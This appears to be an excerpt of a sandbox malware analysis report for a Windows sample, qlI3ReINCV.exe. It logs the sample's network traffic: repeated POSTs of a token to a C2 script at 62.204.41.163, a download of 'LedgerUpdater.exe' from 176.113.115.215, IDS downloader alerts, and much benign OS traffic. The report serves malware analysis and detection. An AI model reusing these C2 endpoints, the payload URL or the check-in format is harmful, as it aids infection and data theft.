Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHCHost: 62.204.41.163Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 2d 2d 0d 0a Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="message"ybncbhylepme------IDGHDGIDAKEBAAKFCGHC--
Source: global traffic	HTTP traffic detected: GET /LedgerUpdater.exe HTTP/1.1Host: 176.113.115.215Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /16fa04073490929d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIJKJJKEBGHJKFIDGCAHost: 62.204.41.163Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 32 33 64 37 33 36 64 66 61 31 63 31 37 31 38 37 39 66 64 35 30 37 39 32 32 35 35 36 38 33 66 38 36 63 61 32 66 63 30 63 65 37 37 62 62 63 35 31 35 36 31 34 35 32 64 66 32 66 39 38 36 64 66 63 34 38 33 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 2d 2d 0d 0a Data Ascii: ------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="token"4d23d736dfa1c171879fd50792255683f86ca2fc0ce77bbc51561452df2f986dfc483ae8------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CGIJKJJKEBGHJKFIDGCA--

Source: Joe Sandbox View	IP Address: 2.2.2.2 2.2.2.2
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 176.113.115.215 176.113.115.215

Source: Joe Sandbox View

ASN Name: FranceTelecom-OrangeFR FranceTelecom-OrangeFR

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 62.204.41.163:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49753 -> 62.204.41.163:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49761 -> 176.113.115.215:80

Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163
Source: unknown	TCP traffic detected without corresponding DNS query: 62.204.41.163

Source: C:\Users\user\Desktop\qlI3ReINCV.exe

Code function: 0_2_00686C40 lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,lstrcpy,

0_2_00686C40

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Lg4yWFCfH96z2zn&MD=8g3MH63Y HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Lg4yWFCfH96z2zn&MD=8g3MH63Y HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
